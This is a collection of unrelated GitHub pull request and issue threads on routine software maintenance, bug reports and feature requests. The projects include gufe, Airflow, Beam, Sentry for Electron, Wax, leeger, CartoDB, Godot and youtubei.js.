Switching to a shared, abstract base class for Transformation and NonTransformation simplifies this.

Hello @dotsdl! Thanks for opening this PR. We checked the lines you've touched for PEP 8 issues, and found:

In the file gufe/transformations/transformation.py:

Line 68:80: E501 line too long (80 > 79 characters)
Line 280:80: E501 line too long (80 > 79 characters)

I can do that, no problem @IAlibay! I also need to fix the broken tests yet as well.

@dotsdl possibly a crazy question - does this technically change the gufe keys for transformation objects? I can't remember if it captures the parent class signatures
(partly asking because of the test failures)

The follow up question I have is if we need a 1.x gufe policy on key stability?

Will pursue a review on this from Alyssa when she starts.

@IAlibay can I get another review from you? I also used this as an opportunity to clean up some docstrings, and adjust the reprs for Transformation and NonTransformation to include the name attribute.

pre-commit.ci autofix

Thanks @IAlibay and @atravitz! Merged!


[AIRFLOW-2152] Add Multiply to list of companies using Airflow

Make sure you have checked all steps below.
JIRA

[x] My PR addresses the following Airflow JIRA issues and references them in the PR title. For example, "[AIRFLOW-XXX] My Airflow PR"

https://issues.apache.org/jira/browse/AIRFLOW-2152

Description

[x] Here are some details about my PR, including screenshots of any UI changes:
Add Multiply to list of companies using Airflow

Tests

[x] My PR adds the following unit tests OR does not need testing for this extremely good reason:
Only add one line documentation

Commits

[x] My commits all reference JIRA issues in their subject lines, and I have squashed multiple commits if they address the same issue. In addition, my commits follow the guidelines from "How to write a good git commit message":

Subject is separated from body by a blank line
Subject is limited to 50 characters
Subject does not end with a period
Subject uses the imperative mood ("add", not "adding")
Body wraps at 72 characters
Body explains "what" and "why", not "how"

[x] Passes git diff upstream/master -u -- "*.py" | flake8 --diff

Codecov Report

Merging #3080 into master will decrease coverage by 0.09%.
The diff coverage is n/a.

@@            Coverage Diff            @@
##           master    #3080     +/-   ##
=========================================
- Coverage   73.27%   73.18%   -0.1%
=========================================
  Files         179      179
  Lines       12491    12491
=========================================
- Hits         9153     9141     -12
- Misses       3338     3350     +12

Impacted Files
Coverage Δ

airflow/task/task_runner/bash_task_runner.py
93.33% <0%> (-6.67%)
:arrow_down:

airflow/utils/helpers.py
51.14% <0%> (-2.88%)
:arrow_down:

airflow/jobs.py
79.64% <0%> (-0.45%)
:arrow_down:

airflow/models.py
87.15% <0%> (-0.05%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 667a26c...8580f85. Read the comment docs.

Thanks!


chore(Typescript, Search): additional types for Globus Search

Waiting for confirmation on facet_result => facet_results (https://github.com/globusonline/docs.globus.org/pull/1698)


Replacing Jackson Factory with Gson Factory

This pull request fixes [#32130].
Tried to remove the bugs in the previous pull request.

We should update https://github.com/apache/beam/blob/master/CHANGES.md.
cc @Abacn

Hey @cutiepie-10 we can keep this PR open, it just needs a few minor changes!

Hi @damccorm ,
Please checkout the new pull request on #32130. It has the latest changes. Actually by mistake, I made commit on the other branch and this branch could not detect new changes. It is my request to check the other branch.

No problem


Automated cherry pick of #9890

Cherry pick of #9890 on release-6.5.
/cc  @mylonsuren
NONE

@mylonsuren I can't seem to be able to add the Automerge label to this. Are you able to help merge this?


Downgrade Awaitility to 4.2.0

https://hibernate.zulipchat.com/#narrow/stream/132092-hibernate-search-dev/topic/Awaitility.20update/near/427500834

See also https://github.com/awaitility/awaitility/issues/277


[DOC] Update Linear and Logistic Regression Parameters & Improve Documentation

What do you want to do?

[x] Request a change to existing documentation
[ ] Add new documentation
[ ] Report a technical problem with the documentation
[ ] Other

Tell us about your request. Provide a summary of the request.
There is a need to update and improve the parameters used in the Linear and Logistic Regression implementations. Specifically, we need to:

Add Comprehensive Documentation:
Provide detailed documentation for the optimizers, objective types, and momentum types supported by the regression models.
Fix Parameter Name Typos:
There are several instances of inconsistent or incorrect parameter names. For example, learningRate should be correctly represented as learning_rate in the request body.
Parameter typos: learning_rate, momentum_factor, decay_rate, momentum_type, and optimiser
Add Descriptions for Other Available Parameters:
Some parameters like objective, logging_interval, batch_size etc are not mentioned in the documentation.

Version: List the OpenSearch version to which this issue applies, e.g. 2.14, 2.12--2.14, or all.
What other resources are available? Provide links to related issues, POCs, steps for testing, etc.
Find the documentation here.

Hi team, please assign this issue to me.


performance

I've been working on ways to make globbing with wax a little faster with rayon and I keep coming up empty. I'm beginning to wonder if it needs to be built in somewhere so that it globs a directory and then all the directories inside get their own thread to glob their contents, up to some limit. Any thoughts on this?

make globbing with wax a little faster with rayon

Yeah, I've also thought about this a bit. Wax depends entirely on walkdir for this, so I think any such features would need to be implemented upstream. The major exception to this is filtering, as Wax is basically a glorified filter atop walkdir. #49 is a great example of a serious performance problem concerning this filtering, wherein directory trees were not discarded and would be read from the file system for no reason (despite what the documentation claims). I just landed a fix for that in 76afaa1.

I'm wondering how hard it would be to switch from walkdir to jwalk which already supports streaming, sorting, threads, etc.
https://github.com/Byron/jwalk

Just chiming in that we're seeing slow performance for globs like apps/*/*. Would this be related to walkdir?
Context: https://github.com/moonrepo/moon/issues/1721


TypeError: mod.require is not a function. Cannot upgrade to Sentry 3

Versions + Platform

[x] SDK version -<EMAIL_ADDRESS>[x] Electron version -<EMAIL_ADDRESS>[x] Platform - macOS

Description
I am trying to upgrade Sentry to the latest version. But I run into this problem.
You can reproduce it with the following steps:

 npx create-electron-app my-new-app --template=typescript-webpack
npm install @sentry/electron
sentry-wizard --integration electron
In the main process, src/index.ts. I added this

import * as Sentry from "@sentry/electron";

Sentry.init({
  dsn: 'https://____.ingest.sentry.io/___',
});

⠹ Compiling Renderer CodeApp threw an error during load
TypeError: mod.require is not a function
    at dynamicRequire (/Users/jakehe/Code/my-new-app/.webpack/main/index.js:9186:16)
    at getIntegrations (/Users/jakehe/Code/my-new-app/.webpack/main/index.js:5269:70)
    at<EMAIL_ADDRESS>(/Users/jakehe/Code/my-new-app/.webpack/main/index.js:5198:59)
    at __webpack_require__ (/Users/jakehe/Code/my-new-app/.webpack/main/index.js:12490:42)
    at Object../src/index.ts (/Users/jakehe/Code/my-new-app/.webpack/main/index.js:12348:27)
    at __webpack_require__ (/Users/jakehe/Code/my-new-app/.webpack/main/index.js:12490:42)
    at /Users/jakehe/Code/my-new-app/.webpack/main/index.js:12561:37
    at Object.<anonymous> (/Users/jakehe/Code/my-new-app/.webpack/main/index.js:12564:12)
    at Module._compile (node:internal/modules/cjs/loader:1116:14)
    at Object.Module._extensions..js (node:internal/modules/cjs/loader:1169:10)

You'll need to use a relative import to ensure you get the main process code:
import * as Sentry from "@sentry/electron/main";

Thank you!

I'm going to try and improve the error messages here because I'm sure this will come up again!


add property for LTR restore

Adding the RecoveryServicesRecoveryPointResourceId required for LTR restore.

Hi @hchungmsft, I'm your friendly neighborhood Azure Pull Request Bot (You can call me AZPRBOT). Thanks for your contribution!

In order for us to evaluate and accept your PR, we ask that you sign a contribution license agreement. It's all electronic and will take just minutes. I promise there's no faxing. https://cla.azure.com.

TTYL, AZPRBOT;


Covid pages QA

Closes #5533
Copy/design amends for new covid pages.

@davidpmccormick you'll need to merge master to get Buildkite to pass here.


V1.4 uml fix

change diagram to be standardized with other activity diagram

Codecov Report

Merging #232 (ab3d912) into master (4263b49) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master     #232   +/-   ##
=========================================
  Coverage     78.78%   78.78%
  Complexity     1346     1346
=========================================
  Files           167      167
  Lines          3860     3860
  Branches        515      515
=========================================
  Hits           3041     3041
  Misses          673      673
  Partials        146      146

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 5f57d56...ab3d912. Read the comment docs.


[LEAGUE LOADER]: Fleaflicker support

Fantasy Site Name
Fleaflicker
Fantasy Site URL
https://www.fleaflicker.com/
Notes
No response

Thanks for opening this issue.
I will work on adding this.
For testing, since I do not have a Fleaflicker league to test on, could you attach your league ID to this issue so I can test with it?
How to find your league ID

No problem! Thanks for getting to it so quick!  My league ID is 207555Sent from my iPhone, I apologize for any typos.On Oct 25, 2022, at 10:36, Joey Greco @.***> wrote:
@lilkeeps11
Thanks for opening this issue.
I will work on adding this.
For testing, since I do not have a Fleaflicker league to test on, could you attach your league ID to this issue so I can test with it?
How to find your league ID
—Reply to this email directly, view it on GitHub, or unsubscribe.You are receiving this because you were mentioned.Message ID: @.***>

@lilkeeps11
I have added support for Fleaflicker leagues in version 1.9.0.
I tested with your league ID and it seems to be working fine.
Please open an issue if you run into any bugs.
Make sure you are running the latest version of leeger before running this by using the command: pip install leeger --upgrade to ensure you are on version 1.9.0.


Some elements not clickable after installing local CartoDB instance.

I've followed the instructions to install my own instance of CartoDB in a Ubuntu 14.04 virtual machine with 70GB storage and 8GB RAM. I can access the development's user dashboard on Firefox 31.0 fine and ingest data and visualise it by dragging a csv file on top of the big map presented in the dashboard.
However, if I want to create a map from scratch, like I do in the CartoDB online version, it doesn't work because some elements are no clickable.
If I go to the dashboard, then click on "New Map", then "Create New Map", then I'm presented with the "Create Empty Map" option but it's not clickable. Also the other elements like "Add datasets" button, or the "Connect dataset" and "Datasets" links in the same page are not clickable either.
I have no idea where to start looking how to solve this problem. Any tips greatly appreciated.
Cheers,
Raquel

There has been no activity on this issue for more several months. We are closing it. If you think this still needs to be addressed please open a new issue.


Remove unused let definition

Recration of #155 pushed by myself so it builds.
@dgollahon Feel free to push branches to this repo in the future, you should have access. Still figuring out on how to get the desired behavior on GH CI.


Editor settings fail to load after a shortcut is removed

. . . follow-up after discussion in #5373 . . .
Operating system or device - Godot version: 2.1 RC1, Windows 7
Issue description (what happened, and what was expected):
If I remove a default editor shortcut (by clicking on the X button next to it in editor settings -> shortcuts), and restart the editor, it has an error and fails to load editor_settings.tres, resetting everything back to the defaults.
Screenshot of the error: http://i.imgur.com/U7kMWW2.png
Settings files that fail to load for me: ( @reduz )
Bad editor_settings 1.zip
Bad editor_settings 2.zip

It comes from https://github.com/godotengine/godot/blob/master/core/variant_parser.cpp#L979
Related to #5912


Settings fragment UI changed

Added a profile image at the top right corner, linked it to the profile page.
Renewed the UI on the settings page while keeping the functionality intact. Now it looks like this:

Closes #59

Okay @aryanmishra29 Great :)


Implement API endpoint to link a package to a repo

Closes #21062.

@sclu1034 Cloud you update your branch and resolve merge conflicts?

Rebased on current main

Goooooooooooooooooooooooooooooooooooooooooood !!!

@KN4CK3R can you please have a look at the author's questions?

Closing, as evidently, with months of silence and accumulating conflicts while waiting for comments on my questions, this is going nowhere.


2.2.3 No matching formats found

Steps to reproduce
run the download function on a server eg.: railway.app
Failure Logs
InnertubeError: No matching formats found
at VideoInfo.chooseFormat (/app/node_modules/youtubei.js/dist/src/parser/youtube/VideoInfo.js:311:19)
at VideoInfo.<anonymous> (/app/node_modules/youtubei.js/dist/src/parser/youtube/VideoInfo.js:367:33)
at Generator.next (<anonymous>)
at /app/node_modules/youtubei.js/dist/src/parser/youtube/VideoInfo.js:8:71
at new Promise (<anonymous>)
at __awaiter (/app/node_modules/youtubei.js/dist/src/parser/youtube/VideoInfo.js:4:12)
at VideoInfo.download (/app/node_modules/youtubei.js/dist/src/parser/youtube/VideoInfo.js:359:16)
at Innertube.<anonymous> (/app/node_modules/youtubei.js/dist/src/Innertube.js:226:25)
at Generator.next (<anonymous>)
at fulfilled (/app/node_modules/youtubei.js/dist/src/Innertube.js:5:58) {
info: {
options: { quality: '144p', type: 'audio', format: 'mp4', range: undefined }
},
date: 2022-09-29T19:26:43.579Z,
version: '2.2.3'
}

Expected behavior
On desktop it runs fine and should stream the audio
Current behavior
returns this random error: No matching formats found
Version
Default
Anything else?
No response
Checklist

[X] I am running the latest version.
[X] I checked the documentation and found no answer.
[X] I have searched the existing issues and made sure this is not a duplicate.
[X] I have provided sufficient information.

Hey there, it is because you're setting quality to 144p while type is audio 😆.
To solve this, you can change the quality config to best or  bestefficiency.
Thanks and have a great day!

Oh, if it is then why does it work on my desktop (windows 11), but not on a server (i think it runs Debian). The reason why I ask is because I am streaming the audio and best or bestefficiency are not fast enough to respond compared to 144p, if I have no other choice I guess I'll use that.

Using 144p won't really give you any audio format, so it is useless to use it if you're targeting audio only streams. If you need low bitrate audio then bestefficiency is what you should use.

ok I'll try it out